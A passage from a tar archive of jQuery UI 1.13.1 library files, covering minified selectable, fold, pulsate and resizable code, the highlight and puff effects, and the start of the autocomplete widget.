e=u.data(this,"selectable-item"),t=!1,s={};e&&e.element!==i.element[0]&&(s.left=e.left+i.elementPos.left,s.right=e.right+i.elementPos.left,s.top=e.top+i.elementPos.top,s.bottom=e.bottom+i.elementPos.top,"touch"===n.tolerance?t=!(s.left>r||s.right<c||s.top>o||s.bottom<a):"fit"===n.tolerance&&(t=s.left>c&&s.right<r&&s.top>a&&s.bottom<o),t?(e.selected&&(i._removeClass(e.$element,"ui-selected"),e.selected=!1),e.unselecting&&(i._removeClass(e.$element,"ui-unselecting"),e.unselecting=!1),e.selecting||(i._addClass(e.$element,"ui-selecting"),e.selecting=!0,i._trigger("selecting",l,{selecting:e.element}))):(e.selecting&&((l.metaKey||l.ctrlKey)&&e.startselected?(i._removeClass(e.$element,"ui-selecting"),e.selecting=!1,i._addClass(e.$element,"ui-selected"),e.selected=!0):(i._removeClass(e.$element,"ui-selecting"),e.selecting=!1,e.startselected&&(i._addClass(e.$element,"ui-unselecting"),e.unselecting=!0),i._trigger("unselecting",l,{unselecting:e.element}))),!e.selected||l.metaKey||l.ctrlKey||e.startselected||(i._removeClass(e.$element,"ui-selected"),e.selected=!1,i._addClass(e.$element,"ui-unselecting"),e.unselecting=!0,i._trigger("unselecting",l,{unselecting:e.element}))))}),!1},_mouseStop:function(t){var s=this;return this.dragged=!1,u(".ui-unselecting",this.element[0]).each(function(){var e=u.data(this,"selectable-item");s._removeClass(e.$element,"ui-unselecting"),e.unselecting=!1,e.startselected=!1,s._trigger("unselected",t,{unselected:e.element})}),u(".ui-selecting",this.element[0]).each(function(){var e=u.data(this,"selectable-item");s._removeClass(e.$element,"ui-selecting")._addClass(e.$element,"ui-selected"),e.selecting=!1,e.selected=!0,e.startselected=!0,s._trigger("selected",t,{selected:e.element})}),this._trigger("stop",t),this.helper.remove(),!1}})});���������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-fold.min.js���������������������������������������������������������������������0000644�����������������00000001754�14717703502�0012427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Fold 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(m){"use strict";return m.effects.define("fold","hide",function(i,e){var t=m(this),c=i.mode,n="show"===c,c="hide"===c,f=i.size||15,s=/([0-9]+)%/.exec(f),o=!!i.horizFirst?["right","bottom"]:["bottom","right"],a=i.duration/2,u=m.effects.createPlaceholder(t),l=t.cssClip(),r={clip:m.extend({},l)},p={clip:m.extend({},l)},d=[l[o[0]],l[o[1]]],h=t.queue().length;s&&(f=parseInt(s[1],10)/100*d[c?0:1]),r.clip[o[0]]=f,p.clip[o[0]]=f,p.clip[o[1]]=0,n&&(t.cssClip(p.clip),u&&u.css(m.effects.clipToBox(p)),p.clip=l),t.queue(function(e){u&&u.animate(m.effects.clipToBox(r),a,i.easing).animate(m.effects.clipToBox(p),a,i.easing),e()}).animate(r,a,i.easing).animate(p,a,i.easing).queue(e),m.effects.unshift(t,h,4)})});��������������������js/jquery/ui/effect-pulsate.min.js������������������������������������������������������������������0000644�����������������00000001240�14717703502�0013146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Pulsate 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(c){"use strict";return c.effects.define("pulsate","show",function(e,i){var t=c(this),n=e.mode,s="show"===n,f=2*(e.times||5)+(s||"hide"===n?1:0),u=e.duration/f,o=0,a=1,n=t.queue().length;for(!s&&t.is(":visible")||(t.css("opacity",0).show(),o=1);a<f;a++)t.animate({opacity:o},u,e.easing),o=1-o;t.animate({opacity:o},u,e.easing),t.queue(i),c.effects.unshift(t,n,1+f)})});����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/resizable.min.js�����������������������������������������������������������������������0000644�����������������00000044421�14717703502�0012227 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Resizable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","./core"],t):t(jQuery)}(function(z){"use strict";return z.widget("ui.resizable",z.ui.mouse,{version:"1.13.1",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(t,i){if("hidden"===z(t).css("overflow"))return!1;var i=i&&"left"===i?"scrollLeft":"scrollTop",e=!1;if(0<t[i])return!0;try{t[i]=1,e=0<t[i],t[i]=0}catch(t){}return e},_create:function(){var t,i=this.options,e=this;this._addClass("ui-resizable"),z.extend(this,{_aspectRatio:!!i.aspectRatio,aspectRatio:i.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:i.helper||i.ghost||i.animate?i.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(z("<div class='ui-wrapper'></div>").css({overflow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,t={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(t),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(t),this._proportionallyResize()),this._setupHandles(),i.autoHide&&z(this.element).on("mouseenter",function(){i.disabled||(e._removeClass("ui-resizable-autohide"),e._handles.show())}).on("mouseleave",function(){i.disabled||e.resizing||(e._addClass("ui-resizable-autohide"),e._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy(),this._addedHandles.remove();function t(t){z(t).removeData("resizable").removeData("ui-resizable").off(".resizable")}var i;return this.elementIsWrapper&&(t(this.element),i=this.element,this.originalElement.css({position:i.css("position"),width:i.outerWidth(),height:i.outerHeight(),top:i.css("top"),left:i.css("left")}).insertAfter(i),i.remove()),this.originalElement.css("resize",this.originalResizeStyle),t(this.originalElement),this},_setOption:function(t,i){switch(this._super(t,i),t){case"handles":this._removeHandles(),this._setupHandles();break;case"aspectRatio":this._aspectRatio=!!i}},_setupHandles:function(){var t,i,e,s,h,n=this.options,o=this;if(this.handles=n.handles||(z(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=z(),this._addedHandles=z(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),e=this.handles.split(","),this.handles={},i=0;i<e.length;i++)s="ui-resizable-"+(t=String.prototype.trim.call(e[i])),h=z("<div>"),this._addClass(h,"ui-resizable-handle "+s),h.css({zIndex:n.zIndex}),this.handles[t]=".ui-resizable-"+t,this.element.children(this.handles[t]).length||(this.element.append(h),this._addedHandles=this._addedHandles.add(h));this._renderAxis=function(t){var i,e,s;for(i in t=t||this.element,this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=z(this.handles[i]),this._on(this.handles[i],{mousedown:o._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=z(this.handles[i],this.element),s=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),e=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(e,s),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){o.resizing||(this.className&&(h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=h&&h[1]?h[1]:"se")}),n.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._addedHandles.remove()},_mouseCapture:function(t){var i,e,s=!1;for(i in this.handles)(e=z(this.handles[i])[0])!==t.target&&!z.contains(e,t.target)||(s=!0);return!this.options.disabled&&s},_mouseStart:function(t){var i,e,s=this.options,h=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),e=this._num(this.helper.css("top")),s.containment&&(i+=z(s.containment).scrollLeft()||0,e+=z(s.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:e},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:h.width(),height:h.height()},this.originalSize=this._helper?{width:h.outerWidth(),height:h.outerHeight()}:{width:h.width(),height:h.height()},this.sizeDiff={width:h.outerWidth()-h.width(),height:h.outerHeight()-h.height()},this.originalPosition={left:i,top:e},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof s.aspectRatio?s.aspectRatio:this.originalSize.width/this.originalSize.height||1,h=z(".ui-resizable-"+this.axis).css("cursor"),z("body").css("cursor","auto"===h?this.axis+"-resize":h),this._addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i=this.originalMousePosition,e=this.axis,s=t.pageX-i.left||0,i=t.pageY-i.top||0,e=this._change[e];return this._updatePrevProperties(),e&&(e=e.apply(this,[t,s,i]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(e=this._updateRatio(e,t)),e=this._respectSize(e,t),this._updateCache(e),this._propagate("resize",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),z.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges())),!1},_mouseStop:function(t){this.resizing=!1;var i,e,s,h=this.options,n=this;return this._helper&&(e=(i=(e=this._proportionallyResizeElements).length&&/textarea/i.test(e[0].nodeName))&&this._hasScroll(e[0],"left")?0:n.sizeDiff.height,i=i?0:n.sizeDiff.width,i={width:n.helper.width()-i,height:n.helper.height()-e},e=parseFloat(n.element.css("left"))+(n.position.left-n.originalPosition.left)||null,s=parseFloat(n.element.css("top"))+(n.position.top-n.originalPosition.top)||null,h.animate||this.element.css(z.extend(i,{top:s,left:e})),n.helper.height(n.size.height),n.helper.width(n.size.width),this._helper&&!h.animate&&this._proportionallyResize()),z("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var i,e,s,h=this.options,h={minWidth:this._isNumber(h.minWidth)?h.minWidth:0,maxWidth:this._isNumber(h.maxWidth)?h.maxWidth:1/0,minHeight:this._isNumber(h.minHeight)?h.minHeight:0,maxHeight:this._isNumber(h.maxHeight)?h.maxHeight:1/0};(this._aspectRatio||t)&&(t=h.minHeight*this.aspectRatio,e=h.minWidth/this.aspectRatio,i=h.maxHeight*this.aspectRatio,s=h.maxWidth/this.aspectRatio,t>h.minWidth&&(h.minWidth=t),e>h.minHeight&&(h.minHeight=e),i<h.maxWidth&&(h.maxWidth=i),s<h.maxHeight&&(h.maxHeight=s)),this._vBoundaries=h},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var i=this.position,e=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=i.left+(e.width-t.width),t.top=null),"nw"===s&&(t.top=i.top+(e.height-t.height),t.left=i.left+(e.width-t.width)),t},_respectSize:function(t){var i=this._vBoundaries,e=this.axis,s=this._isNumber(t.width)&&i.maxWidth&&i.maxWidth<t.width,h=this._isNumber(t.height)&&i.maxHeight&&i.maxHeight<t.height,n=this._isNumber(t.width)&&i.minWidth&&i.minWidth>t.width,o=this._isNumber(t.height)&&i.minHeight&&i.minHeight>t.height,a=this.originalPosition.left+this.originalSize.width,l=this.originalPosition.top+this.originalSize.height,r=/sw|nw|w/.test(e),e=/nw|ne|n/.test(e);return n&&(t.width=i.minWidth),o&&(t.height=i.minHeight),s&&(t.width=i.maxWidth),h&&(t.height=i.maxHeight),n&&r&&(t.left=a-i.minWidth),s&&r&&(t.left=a-i.maxWidth),o&&e&&(t.top=l-i.minHeight),h&&e&&(t.top=l-i.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var i=0,e=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],h=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];i<4;i++)e[i]=parseFloat(s[i])||0,e[i]+=parseFloat(h[i])||0;return{height:e[0]+e[2],width:e[1]+e[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,i=0,e=this.helper||this.element;i<this._proportionallyResizeElements.length;i++)t=this._proportionallyResizeElements[i],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:e.height()-this.outerDimensions.height||0,width:e.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||z("<div></div>").css({overflow:"hidden"}),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,i){return{width:this.originalSize.width+i}},w:function(t,i){var e=this.originalSize;return{left:this.originalPosition.left+i,width:e.width-i}},n:function(t,i,e){var s=this.originalSize;return{top:this.originalPosition.top+e,height:s.height-e}},s:function(t,i,e){return{height:this.originalSize.height+e}},se:function(t,i,e){return z.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,e]))},sw:function(t,i,e){return z.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,e]))},ne:function(t,i,e){return z.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,e]))},nw:function(t,i,e){return z.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,e]))}},_propagate:function(t,i){z.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),z.ui.plugin.add("resizable","animate",{stop:function(i){var e=z(this).resizable("instance"),t=e.options,s=e._proportionallyResizeElements,h=s.length&&/textarea/i.test(s[0].nodeName),n=h&&e._hasScroll(s[0],"left")?0:e.sizeDiff.height,h=h?0:e.sizeDiff.width,h={width:e.size.width-h,height:e.size.height-n},n=parseFloat(e.element.css("left"))+(e.position.left-e.originalPosition.left)||null,o=parseFloat(e.element.css("top"))+(e.position.top-e.originalPosition.top)||null;e.element.animate(z.extend(h,o&&n?{top:o,left:n}:{}),{duration:t.animateDuration,easing:t.animateEasing,step:function(){var t={width:parseFloat(e.element.css("width")),height:parseFloat(e.element.css("height")),top:parseFloat(e.element.css("top")),left:parseFloat(e.element.css("left"))};s&&s.length&&z(s[0]).css({width:t.width,height:t.height}),e._updateCache(t),e._propagate("resize",i)}})}}),z.ui.plugin.add("resizable","containment",{start:function(){var e,s,t,i,h=z(this).resizable("instance"),n=h.options,o=h.element,n=n.containment,o=n instanceof z?n.get(0):/parent/.test(n)?o.parent().get(0):n;o&&(h.containerElement=z(o),/document/.test(n)||n===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:z(document),left:0,top:0,width:z(document).width(),height:z(document).height()||document.body.parentNode.scrollHeight}):(e=z(o),s=[],z(["Top","Right","Left","Bottom"]).each(function(t,i){s[t]=h._num(e.css("padding"+i))}),h.containerOffset=e.offset(),h.containerPosition=e.position(),h.containerSize={height:e.innerHeight()-s[3],width:e.innerWidth()-s[1]},n=h.containerOffset,i=h.containerSize.height,t=h.containerSize.width,t=h._hasScroll(o,"left")?o.scrollWidth:t,i=h._hasScroll(o)?o.scrollHeight:i,h.parentData={element:o,left:n.left,top:n.top,width:t,height:i}))},resize:function(t){var i=z(this).resizable("instance"),e=i.options,s=i.containerOffset,h=i.position,t=i._aspectRatio||t.shiftKey,n={top:0,left:0},o=i.containerElement,a=!0;o[0]!==document&&/static/.test(o.css("position"))&&(n=s),h.left<(i._helper?s.left:0)&&(i.size.width=i.size.width+(i._helper?i.position.left-s.left:i.position.left-n.left),t&&(i.size.height=i.size.width/i.aspectRatio,a=!1),i.position.left=e.helper?s.left:0),h.top<(i._helper?s.top:0)&&(i.size.height=i.size.height+(i._helper?i.position.top-s.top:i.position.top),t&&(i.size.width=i.size.height*i.aspectRatio,a=!1),i.position.top=i._helper?s.top:0),o=i.containerElement.get(0)===i.element.parent().get(0),e=/relative|absolute/.test(i.containerElement.css("position")),o&&e?(i.offset.left=i.parentData.left+i.position.left,i.offset.top=i.parentData.top+i.position.top):(i.offset.left=i.element.offset().left,i.offset.top=i.element.offset().top),h=Math.abs(i.sizeDiff.width+(i._helper?i.offset.left-n.left:i.offset.left-s.left)),o=Math.abs(i.sizeDiff.height+(i._helper?i.offset.top-n.top:i.offset.top-s.top)),h+i.size.width>=i.parentData.width&&(i.size.width=i.parentData.width-h,t&&(i.size.height=i.size.width/i.aspectRatio,a=!1)),o+i.size.height>=i.parentData.height&&(i.size.height=i.parentData.height-o,t&&(i.size.width=i.size.height*i.aspectRatio,a=!1)),a||(i.position.left=i.prevPosition.left,i.position.top=i.prevPosition.top,i.size.width=i.prevSize.width,i.size.height=i.prevSize.height)},stop:function(){var t=z(this).resizable("instance"),i=t.options,e=t.containerOffset,s=t.containerPosition,h=t.containerElement,n=z(t.helper),o=n.offset(),a=n.outerWidth()-t.sizeDiff.width,n=n.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(h.css("position"))&&z(this).css({left:o.left-s.left-e.left,width:a,height:n}),t._helper&&!i.animate&&/static/.test(h.css("position"))&&z(this).css({left:o.left-s.left-e.left,width:a,height:n})}}),z.ui.plugin.add("resizable","alsoResize",{start:function(){var t=z(this).resizable("instance").options;z(t.alsoResize).each(function(){var t=z(this);t.data("ui-resizable-alsoresize",{width:parseFloat(t.width()),height:parseFloat(t.height()),left:parseFloat(t.css("left")),top:parseFloat(t.css("top"))})})},resize:function(t,e){var i=z(this).resizable("instance"),s=i.options,h=i.originalSize,n=i.originalPosition,o={height:i.size.height-h.height||0,width:i.size.width-h.width||0,top:i.position.top-n.top||0,left:i.position.left-n.left||0};z(s.alsoResize).each(function(){var t=z(this),s=z(this).data("ui-resizable-alsoresize"),h={},i=t.parents(e.originalElement[0]).length?["width","height"]:["width","height","top","left"];z.each(i,function(t,i){var e=(s[i]||0)+(o[i]||0);e&&0<=e&&(h[i]=e||null)}),t.css(h)})},stop:function(){z(this).removeData("ui-resizable-alsoresize")}}),z.ui.plugin.add("resizable","ghost",{start:function(){var t=z(this).resizable("instance"),i=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0}),t._addClass(t.ghost,"ui-resizable-ghost"),!1!==z.uiBackCompat&&"string"==typeof t.options.ghost&&t.ghost.addClass(this.options.ghost),t.ghost.appendTo(t.helper)},resize:function(){var t=z(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=z(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),z.ui.plugin.add("resizable","grid",{resize:function(){var t,i=z(this).resizable("instance"),e=i.options,s=i.size,h=i.originalSize,n=i.originalPosition,o=i.axis,a="number"==typeof e.grid?[e.grid,e.grid]:e.grid,l=a[0]||1,r=a[1]||1,p=Math.round((s.width-h.width)/l)*l,s=Math.round((s.height-h.height)/r)*r,d=h.width+p,g=h.height+s,u=e.maxWidth&&e.maxWidth<d,c=e.maxHeight&&e.maxHeight<g,f=e.minWidth&&e.minWidth>d,m=e.minHeight&&e.minHeight>g;e.grid=a,f&&(d+=l),m&&(g+=r),u&&(d-=l),c&&(g-=r),/^(se|s|e)$/.test(o)?(i.size.width=d,i.size.height=g):/^(ne)$/.test(o)?(i.size.width=d,i.size.height=g,i.position.top=n.top-s):/^(sw)$/.test(o)?(i.size.width=d,i.size.height=g,i.position.left=n.left-p):((g-r<=0||d-l<=0)&&(t=i._getPaddingPlusBorderDimensions(this)),0<g-r?(i.size.height=g,i.position.top=n.top-s):(g=r-t.height,i.size.height=g,i.position.top=n.top+h.height-g),0<d-l?(i.size.width=d,i.position.left=n.left-p):(d=l-t.width,i.size.width=d,i.position.left=n.left+h.width-d))}}),z.ui.resizable});�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-highlight.js��������������������������������������������������������������������0000644�����������������00000002305�14717703502�0012661 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Highlight 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Highlight Effect //>>group: Effects //>>description: Highlights the background of an element in a defined color for a custom duration. //>>docs: http://api.jqueryui.com/highlight-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "highlight", "show", function( options, done ) { var element = $( this ), animation = { backgroundColor: element.css( "backgroundColor" ) }; if ( options.mode === "hide" ) { animation.opacity = 0; } $.effects.saveStyle( element ); element .css( { backgroundImage: "none", backgroundColor: options.color || "#ffff99" } ) .animate( animation, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-puff.js�������������������������������������������������������������������������0000644�����������������00000001715�14717703502�0011656 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Puff 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Puff Effect //>>group: Effects //>>description: Creates a puff effect by scaling the element up and hiding it at the same time. //>>docs: http://api.jqueryui.com/puff-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect", "./effect-scale" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "puff", "hide", function( options, done ) { var newOptions = $.extend( true, {}, options, { fade: true, percent: parseInt( options.percent, 10 ) || 150 } ); $.effects.effect.scale.call( this, newOptions, done ); } ); } ); ���������������������������������������������������js/jquery/ui/autocomplete.js������������������������������������������������������������������������0000644�����������������00000042135�14717703502�0012166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Autocomplete 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Autocomplete //>>group: Widgets //>>description: Lists suggested words as the user is typing. //>>docs: http://api.jqueryui.com/autocomplete/ //>>demos: http://jqueryui.com/autocomplete/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/autocomplete.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./menu", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.autocomplete", { version: "1.13.1", defaultElement: "<input>", options: { appendTo: null, autoFocus: false, delay: 300, minLength: 1, position: { my: "left top", at: "left bottom", collision: "none" }, source: null, // Callbacks change: null, close: null, focus: null, open: null, response: null, search: null, select: null }, requestIndex: 0, pending: 0, liveRegionTimer: null, _create: function() { // Some browsers only repeat keydown events, not keypress events, // so we use the suppressKeyPress flag to determine if we've already // handled the keydown event. #7269 // Unfortunately the code for & in keypress is the same as the up arrow, // so we use the suppressKeyPressRepeat flag to avoid handling keypress // events when we know the keydown event was used to modify the // search term. #7799 var suppressKeyPress, suppressKeyPressRepeat, suppressInput, nodeName = this.element[ 0 ].nodeName.toLowerCase(), isTextarea = nodeName === "textarea", isInput = nodeName === "input"; // Textareas are always multi-line // Inputs are always single-line, even if inside a contentEditable element // IE also treats inputs as contentEditable // All other element types are determined by whether or not they're contentEditable this.isMultiLine = isTextarea || !isInput && this._isContentEditable( this.element ); this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ]; this.isNewMenu = true; this._addClass( "ui-autocomplete-input" ); this.element.attr( "autocomplete", "off" ); this._on( this.element, { keydown: function( event ) { if ( this.element.prop( "readOnly" ) ) { suppressKeyPress = true; suppressInput = true; suppressKeyPressRepeat = true; return; } suppressKeyPress = false; suppressInput = false; suppressKeyPressRepeat = false; var keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.PAGE_UP: suppressKeyPress = true; this._move( "previousPage", event ); break; case keyCode.PAGE_DOWN: suppressKeyPress = true; this._move( "nextPage", event ); break; case keyCode.UP: suppressKeyPress = true; this._keyEvent( "previous", event ); break; case keyCode.DOWN: suppressKeyPress = true; this._keyEvent( "next", event ); break; case keyCode.ENTER: // when menu is open and has focus if ( this.menu.active ) { // #6055 - Opera still allows the keypress to occur // which causes forms to submit suppressKeyPress = true; event.preventDefault(); this.menu.select( event ); } break; case keyCode.TAB: if ( this.menu.active ) { this.menu.select( event ); } break; case keyCode.ESCAPE: if ( this.menu.element.is( ":visible" ) ) { if ( !this.isMultiLine ) { this._value( this.term ); } this.close( event ); // Different browsers have different default behavior for escape // Single press can mean undo or clear // Double press in IE means clear the whole form event.preventDefault(); } break; default: suppressKeyPressRepeat = true; // search timeout should be triggered before the input value is changed this._searchTimeout( event ); break; } }, keypress: function( event ) { if ( suppressKeyPress ) { suppressKeyPress = false; if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) { event.preventDefault(); } return; } if ( suppressKeyPressRepeat ) { return; } // Replicate some key handlers to allow them to repeat in Firefox and Opera var keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.PAGE_UP: this._move( "previousPage", event ); break; case keyCode.PAGE_DOWN: this._move( "nextPage", event ); break; case keyCode.UP: this._keyEvent( "previous", event ); break; case keyCode.DOWN: this._keyEvent( "next", event ); break; } }, input: function( event ) { if ( suppressInput ) { suppressInput = false; event.preventDefault(); return; } this._searchTimeout( event ); }, focus: function() { this.selectedItem = null; this.previous = this._value(); }, blur: function( event ) { clearTimeout( this.searching ); this.close( event ); this._change( event ); } } ); this._initSource(); this.menu = $( "<ul>" ) .appendTo( this._appendTo() ) .menu( { // disable ARIA support, the live region takes care of that role: null } ) .hide() // Support: IE 11 only, Edge <= 14 // For other browsers, we preventDefault() on the mousedown event // to keep the dropdown from taking focus from the input. This doesn't // work for IE/Edge, causing problems with selection and scrolling (#9638) // Happily, IE and Edge support an "unselectable" attribute that // prevents an element from receiving focus, exactly what we want here. .attr( { "unselectable": "on" } ) .menu( "instance" ); this._addClass( this.menu.element, "ui-autocomplete", "ui-front" ); this._on( this.menu.element, { mousedown: function( event ) { // Prevent moving focus out of the text field event.preventDefault(); }, menufocus: function( event, ui ) { var label, item; // support: Firefox // Prevent accidental activation of menu items in Firefox (#7024 #9118) if ( 